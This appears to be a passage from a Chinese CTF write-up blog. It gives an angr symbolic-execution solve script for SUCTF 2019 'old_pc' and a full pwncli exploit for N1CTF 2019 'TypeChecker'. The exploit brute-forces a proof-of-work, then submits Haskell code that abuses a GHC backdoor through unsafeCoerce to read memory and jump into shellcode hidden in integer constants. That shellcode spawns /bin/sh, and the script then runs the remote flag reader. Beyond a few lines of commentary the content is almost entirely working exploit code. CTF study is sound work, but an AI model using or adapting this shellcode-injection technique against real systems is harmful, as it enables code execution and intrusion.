import angr
import sys
base = 0x400000
#
proj = angr.Project("suctf_2019_old_pc.bk", auto_load_libs=False)
state = proj.factory.blank_state(addr=base+0x115d)
simu = proj.factory.simgr(state)
simu.explore(find=base+0x116A, avoid=base+0x11b9)
if simu.found:
print("find!")
solution = simu.found[0]
key = solution.posix.dumps(sys.stdin.fileno())
print(key)
|
远程打:
[N1CTF 2019]TypeChecker
一脸懵逼的进去,一脸懵逼的出来。
参照着这里学习了一下hacker
,学了就忘。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
ru("Please run the pow script with: ")
m = rl().split()
prestr = m[0].decode()
num = int_ex(m[1])
log_ex(f"prestr: {prestr}")
log_ex(f"num: {num}")
res = mbruteforce_hash_prefixstr(hash_algo="sha256", prefix_str=prestr,
check_res_func=lambda x: ('{0:0256b}'.format(int(x, 16))).endswith("0"*26), alphabet=string.ascii_letters, start_length=8, max_length=8)
print(res)
sla("and give me the result: ", str(int.from_bytes(res.encode(), "little")))
r()
s("""
{-# LANGUAGE OverloadedStrings, DataKinds, KindSignatures,
ScopedTypeVariables #-}
{-# OPTIONS_GHC -O3 #-}
import GHC.Types.Backdoor
backdoor :: B1 1337 a -> B2 1337 b
backdoor = id
unsafeCoerce :: a -> b
unsafeCoerce x = unB2 (backdoor $ B1 x)
data Wrap a = Wrap { unwrap :: a }
readMem :: Int -> Int
readMem addr = unwrap (unsafeCoerce (addr - 7))
jmp :: Int -> ()
jmp addr = func (unwrap (unsafeCoerce addr)) `seq` ()
-- `seq` forces strictness on the first argument
-- ... or use BangPatterns for strictness
getAddr :: a -> Int
getAddr x = (y `seq` unsafeCoerce y) - 1
where y = Wrap x
func :: [Int] -> Int
func [] = 0
func [x] = x
func (x:xs) = func xs
hard :: Int -> Int
hard 0 = 1
hard n =
0x909090909090050f * hard (n - 16) +
0xdeb90909090d231 * hard (n - 15) +
0xdeb909090909058 * hard (n - 14) +
0xdeb909090903b6a * hard (n - 13) +
0xdeb909090df8948 * hard (n - 12) +
0xdeb909090e68948 * hard (n - 11) +
0xdeb909090909053 * hard (n - 10) +
0xdeb90004a3e95bb * hard (n - 9) +
0xdeb909090905441 * hard (n - 8) +
0xdeb909090909053 * hard (n - 7) +
0xdeb909090909050 * hard (n - 6) +
0xdeb90909090c031 * hard (n - 5) +
0xdeb90004a3e9fbb * hard (n - 4) +
0xdeb909090e48949 * hard (n - 3) +
0x6eb900000632d68 * hard (n - 2)
shellcodeAddr :: Int
shellcodeAddr = 4220274
caddr :: Int
caddr = getAddr shellcodeAddr
cmdBuf :: String
cmdBuf = "/bin/sh"
strBuf :: String
strBuf = "/bin/bash"
main :: IO ()
main = do
let x = caddr + 8 -- the address of the integer (which INTLIKE closure encloses)
print (jmp x)
y <- getLine
print cmdBuf -- ensure these two commands don't get optimized out
print strBuf
print $ hard $ read y -- ensure 'hard' doesn't get optimized out
return ()
END_OF_SNIPPET
"""
)
sleep(3)
sl("cd /")
sleep(2)
sl("./flag_reader")
sleep(2)
ru("Please enter '")
m = ru("'")
sl(m[:-1])
ia()
|
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli